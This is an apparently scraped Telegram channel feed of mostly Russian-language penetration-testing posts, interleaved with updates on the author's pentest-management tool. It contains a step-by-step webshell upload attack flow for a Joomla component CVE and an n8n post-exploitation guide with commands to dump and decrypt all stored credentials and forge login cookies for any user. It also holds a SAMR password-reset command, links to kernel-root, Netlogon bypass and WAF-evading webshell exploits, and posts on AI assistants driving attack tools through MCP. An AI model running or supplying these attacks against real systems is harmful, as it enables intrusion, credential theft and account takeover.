hacker’s notebook


Гео и язык канала: Россия, Русский
Категория: Технологии


Dojo for learning new techniques in penetration testing.
Блог: sd4pt.tech
Связь: @vagachad

Связанные каналы

Гео и язык канала
Россия, Русский
Категория
Технологии
Статистика
Фильтр публикаций


Репост из: Freedom Fox 🏴‍☠
#свобода #книги

Уважаемый @mr_grogrig автор статей в журнале Хакер.

Открыл бесплатную библиотеку, всё как мы любим и чтим ;))

https://hackbooks.io/

Telegram ✉️ @freedomfox


Ну хоть какой-то движ намечается, уже радует.


CVE-2026-57827 — RSFiles! Joomla Component Unauthenticated File Upload RCE

CVE-2026-57827 is a critical-severity (CVSS 9.8) unauthenticated arbitrary file upload vulnerability in RSFiles! (com_rsfiles), a widely used file-manager and download component for Joomla, versions < 1.17.12.

The vulnerability exploits a split-controller design flaw: RSFiles! separates its upload into two frontend tasks — a pre-flight check (permission gate + extension allow-list) and a write method (saves file to disk). The write method can be called directly, bypassing the pre-flight check entirely. No authentication, no CSRF token required.


💻 Attack Flow
1. Attacker crafts PHP webshell (plain PHP, no polyglot needed)
2. POST /index.php?option=com_rsfiles&task=rsfiles.upload
file= (multipart, PHP payload)
folder=&overwrite=1
3. Joomla frontend controller dispatches to rsfiles.upload()
→ Skips rsfiles.checkupload (pre-flight) entirely
→ No permission check → No CSRF token check → No file-type check
→ JFile::upload() accepts any file type
4. File saved to /downloads/{shell_name}.php (web root)
.htaccess protection is opt-in, OFF by default
5. GET /downloads/{shell_name}.php?t=TOKEN&c=id
6. PHP executes → RCE as www-data


💻 PoC link: https://github.com/shinthink/cve-2026-57827


😎 Еще немного позволю себе потравить вашу душу скринами с пентест-менеджера. В общем и целом MVP почти готов, в данный момент решаю задачи с безопасным хранением проектов, параллельно ищу логические ошибки и недоработки — чтобы на релизе не вылезло ничего неожиданного.

Добавил новый раздел с полноценным блэкджеком и шлюпками канбаном и возможностью ставить задачи по методике, которая привязана к текущему проекту. Сделал конструктор этапов, где можно смешивать разные стадии, чтобы собирать комплексные сценарии под сложные проекты. По каждой задаче добавил стату, чтобы можно было примерно прикидывать, сколько времени заняла та или иная проверка — для оценки трудозатрат и планирования. Изменил механику подсчета прогресса проекта, теперь она высчитывается исходя из процента выполненных проверок по всем активам в совокупности.

Ну и потихоньку пишу доку на это детище, чтобы вы не гадали, как и что работает. Очень надеюсь, что вам понравится и самое главное, что с этим решением ваша личная эффективность (а может и эффективность команды), а также удобство ведения проектов кратно преумножатся.


😨 wp2shell-poc

Independent proof-of-concept for the unauthenticated WordPress REST batch route-confusion SQL injection associated with Searchlight Cyber's wp2shell advisory.


Run it from the repository directory:
./wp2shell.py [options]
Or pip install . to get a wp2shell command on your PATH.

👩‍💻 Link: https://github.com/Icex0/wp2shell-poc


Вы получили RCE на n8n — что дальше?
Ниже постарался привести пару полезных шагов для его пост-эксплуатации.

💪 Получение всех учётных данных из n8n

0. Сначала пробуем простой путь — через n8n CLI
Сработает, если shell-пользователь видит ~/.n8n/config (или задан N8N_ENCRYPTION_KEY):
npx n8n export:credentials --all --decrypted > /tmp/all_creds.json
Если по какой-то причине не вышло, пробуем дальше идти вручную.

1. Смотрим переменные окружения
Креды от БД и иногда сам N8N_ENCRYPTION_KEY часто лежат в env:
cat /proc/self/environ | tr '\0' '\n' | grep -iE 'n8n|postgres|encryption|database'
2. Ищем конфиг с ключом шифрования
n8n хранит ключ инстанса в ~/.n8n/config (JSON-поле encryptionKey).
find / -path "*/.n8n/config" 2>/dev/null
# пример:
cat /home/node/.n8n/config | jq -r .encryptionKey
3. Выгружаем зашифрованные креды из PostgreSQL
Формат файла должен быть pipe-delimited, 4 поля на строку: id|name|type|data.
PGPASSWORD=n8n psql -h localhost -U n8n -d n8n -At -F'|' -c \
"SELECT id, name, type, data FROM credentials_entity;" \
> /tmp/creds.txt
Не используйте обычный табличный вывод psql (SELECT ... ; без -At -F'|') — заголовки и выравнивание сломают парсер.

4. Расшифровываем
python3 decrypt_n8n_credentials.py /tmp/creds.txt \
--key "YOUR_N8N_ENCRYPTION_KEY" \
-o /tmp/n8n_credentials_decrypted.json
Impact: n8n обычно связан со всем — Google Drive, ключи OpenAI, Salesforce, IAM, платёжки, клиентские БД, CI/CD, webhooks и т.д. Один дамп и lateral movement по всей автоматизированной инфре.

💪 Захват сессии (подделка n8n-auth)

Пароли пользователей n8n в БД хешируются через bcrypt. Но при наличии N8N_ENCRYPTION_KEY можно сгенерировать валидный JWT cookie n8n-auth для любого пользователя (та же схема, что в Cyera Ni8mare / CVE-2026-21858).

1. Достаём пользователей из PostgreSQL
PGPASSWORD=n8n psql -h localhost -U n8n -d n8n -At -F'|' -c \
"SELECT id, email, password FROM public.\"user\";" \
> /tmp/users.txt
Нужны: UUID, email и bcrypt-хеш ($2a$10$...) .

2. Генерируем JWT
python3 forge_n8n_session.py \
--encryption-key "YOUR_N8N_ENCRYPTION_KEY" \
--user-id "" \
--email "user@example.com" \
--password-hash '$2a$10$...'
На n8n 2.x, если derived secret не подходит то тяните signing key из БД:
PGPASSWORD=n8n psql -h localhost -U n8n -d n8n -At -c \
"SELECT value FROM deployment_key WHERE type = 'signing.jwt' AND status = 'active';"
Передать в скрипт: --jwt-secret "".

3. Подставляем cookie
Замените в браузере cookie n8n-auth на сгенерированный JWT и готово.

👩‍💻 Скрипты закинул на гит - https://github.com/HideusXakep/n8n-post-exploitation-scripts

300 0 10 1 18

Продолжаю работу над пентест менеджером. Добавил возможность подключения тг ботов к проектам, чтобы своевременно информировать заказчика о ходе работ и новых подтвержденных находках.

Помимо этого есть отдельный профиль для лида, ему приходят уведомления о статусах поставленных задач и находки от работяг для проверки перед отправкой заказчику.

В подобном ключе уже реализована возможность отправки райтапов на мыло, но в отличие от ботов здесь можно настроить только отправку райтапов и уведомления о завершении этапов работ, без обратной связи. Ну и сейчас в процессе реализация поддержки ботов и для вк (макс нахер).

Интересно вам такое? 👍👎

*все примеры находок на скрине выдуманы и не имеют ничего общего с реальными проектами


Пошла 12 неделя непрерывного обучения в htb академии.

Penetration Tester Path на стадии завершения (осталась пара модулей), и совсем скоро перейду к более практической подготовке к cpts.




Penelope Shell Handler

Penelope предоставляет более функциональную альтернативу базовым листенерам, по типу netcat, добавляя автоматическое обновление PTY, управление сессиями, ведение журналов, передачу файлов и вспомогательные модули.

Global Features

- Streamline interaction with the targets via modules
- Multiple sessions
- Multiple listeners
- Serve files/folders via HTTP (-s switch)
- Can be imported by python3 exploits and get shell on the same terminal (see extras/exploit_examples)
- Can work in conjunction with Metasploit exploits by disabling the default handler with set DisablePayloadHandler True
- Expose live sessions to an MCP client like Claude Code with the --mcp switch (local HTTP, token-authenticated), driving the same shells alongside you


💪 GitHub: https://github.com/brightio/penelope


CVE-2026-46331 (Pedit COW)

A new Linux kernel exploit (CVE-2026-46331) gets root without modifying a single file on disk.

It poisons the cached copy of /bin/su in memory. The binary on disk stays untouched. File-integrity checks come back clean.


The exploit needs two things: act_pedit being loadable and unprivileged user namespaces being open, giving the attacker a namespace-local networking capability (CAP_NET_ADMIN) needed to trigger the bug.

🕺 public exploit
🤨 more details


Репост из: 1N73LL1G3NC3
🔑 Onelogon: Taking over Active Directory Accounts via Netlogon

We analyzed Netlogon, bypassed the Zerologon patch, resulting in a full auth bypass. An attacker can leverage this to compromise computer accounts, or even the entire AD. Non-standard config must be present tho

Exploit: https://github.com/rub-softsec/onelogon
https://github.com/Pennyw0rth/NetExec/pull/1291

From: https://x.com/al3x_n3ff/status/2069482623672435049?s=46


AI-Powered Active Directory Pentesting with Claude, HexStrike AI & NetExec

This guide walks through a complete Active Directory engagement in a controlled lab, driven end-to-end by plain-English prompts to Claude Desktop. We wire the HexStrike AI MCP server into Claude Desktop and let the model operate NetExec on our behalf: you ask for a technique in English, the AI picks the right module, builds the command, runs it, and returns parsed, report-ready output.


🕺 Read: https://www.hackingarticles.in/ai-powered-active-directory-pentesting-with-claude-hexstrike-ai-netexec/


Продолжаю понемногу вносить улучшения в свой пентест манагер. Добавил, на мой взгляд, одну из самых интересных фич - конструктор, для составления собственной методологии. Теперь каждый желающий сможет не только пользоваться общеизвестными стандартами которые будут идти в комплекте по дефолту, но и адаптировать свои наработки для более удобного отслеживания процессов реализации тех или иных проверок в манагере. Надеюсь очень скоро вы сможете побаловаться с этим инструментом.




Похоже ребята с Daily REDTeam читают мои посты) запилили качественную методичку по этой фишке


😃 Сброс истёкшего пароля доменной учетки через null‑session и SAMR

Читал одну любопытную статейку на дф и наткнулся на метод сброса истёкшего пароля через null‑session.

Суть:
При ошибке STATUS_PASSWORD_MUST_CHANGE стандартные подходы с impacket-changepasswd и smbpasswd могут не отработать на новых Windows. Но есть фишка, для которой нужно найти хост с разрешённой null‑session (проверить через nxc smb $IP -u '' -p '') и выполнить:
impacket-changepasswd -protocol smb-samr -newpass 'NewPass' 'domain\user:OldPass@ -dc-ip
При этом нужно использовать протокол smb-samr.

Пример:
impacket-changepasswd -protocol smb-samr -newpass 'NewP@ssw0rd321!' 'duty-free.cc/user1:P@ssw0rd12@192.168.78.2 -dc-ip 192.168.78.1

Почему это работает? Протокол SAMR (RPC-сервис управления учётками) позволяет сменить пароль без предварительной аутентификации — достаточно передать старый+новый пароль в RPC-вызов через анонимное подключение.


P.A.S. Fork v. 1.5
A modified version of the well-known webshell - P.A.S. by Profexer. Tries to solve the problem of detecting some requests and responses by various Web Application Firewalls and Intrusion Detection Systems. In most cases, such detections entail retaliatory measures from the attacked side, which is not always permissible during penetration tests and in red teaming.

🐱 https://github.com/cr1f/P.A.S.-Fork/




MSSQL Pentesting with NetExec (nxc)

Techniques Covered in This Guide:
- Lab Setup
- Password Spraying (Users & Hashes)
- Authentication Testing (Local & Windows)
- MSSQL Query Execution
- Command Execution via xp_cmdshell
- Pass-the-Hash Attacks
- File Upload & Download
- Privilege Escalation (mssql_priv)
- Enumeration on Custom Ports

Показано 20 последних публикаций.